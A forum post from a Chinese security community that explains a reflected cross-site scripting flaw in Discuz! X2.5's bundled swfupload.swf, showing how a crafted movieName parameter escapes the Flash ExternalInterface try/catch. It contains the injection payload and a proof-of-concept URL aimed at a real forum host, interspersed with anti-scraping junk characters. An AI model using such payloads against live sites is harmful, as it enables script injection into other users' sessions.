找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1830|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
% f/ G4 E5 X: \% }- A# [
: S6 g; T) W) u( w# a) {flash.external.ExternalInterface.call($methodName, $parameter), {0 ]; l- u7 k" f' \5 H' u
在浏览器中执行的是7 Q0 J7 Z/ A' R6 p5 V9 E

" G; U) Z7 E* y8 |* ^/ O5 W4 itry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}3 N% C( }& [5 b4 `+ K7 i2 n9 g, A
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如' e" l, I8 G& t. |  x& J
0 o2 v( H9 @, [' A: o; _' O
flash.external.ExternalInterface.call("object."+$methodName, $parameter)1 C1 Z$ s+ K1 E/ o1 x3 ]
$methodName = a())}catch(e){alert(/xss/)}//
/ ^. ?$ w" b8 N7 t5 X结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
0 `1 J3 Z- x3 z
: R1 Z8 A8 l: u' q8 Itry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
) O; |3 g+ I1 M/ C. g# i8 M( M% E+ D& O* D
/ j# R4 A# @3 d0 ^3 K! T8 J这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
/ M0 m7 ^0 B! y9 t1 Q杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
, Z  z; I# e' Z: T: q! h+ {3 N- \/ F0 Z; e

5 r  r  W- e! t. L$ e: B4 e5 M' P; B
漏洞文件:upload\static\image\common\swfupload.swf" v# m* A' T  d
( M8 B& ^8 m; _! H' l
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf# Q: j: |% X% `+ h% `. N+ a

3 @9 S" P: g) f' b4 g3 K
) K! g' J8 m5 L* O* [漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
/ J3 G' L4 z: {# A; {( I8 `) `
9 s7 ~" j! \+ L7 d' b
, i+ C( D- P; k3 S5 A8 J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表